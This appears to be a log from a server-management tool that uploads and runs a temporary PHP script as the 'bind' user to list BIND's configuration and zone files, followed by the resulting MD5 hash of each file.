MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:54:55: Establishing a connection
2025-12-31 19:54:55: 

PUT: /tmp/pkp650729

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:54:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp650729; rm /tmp/pkp650729'

2025-12-31 19:54:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
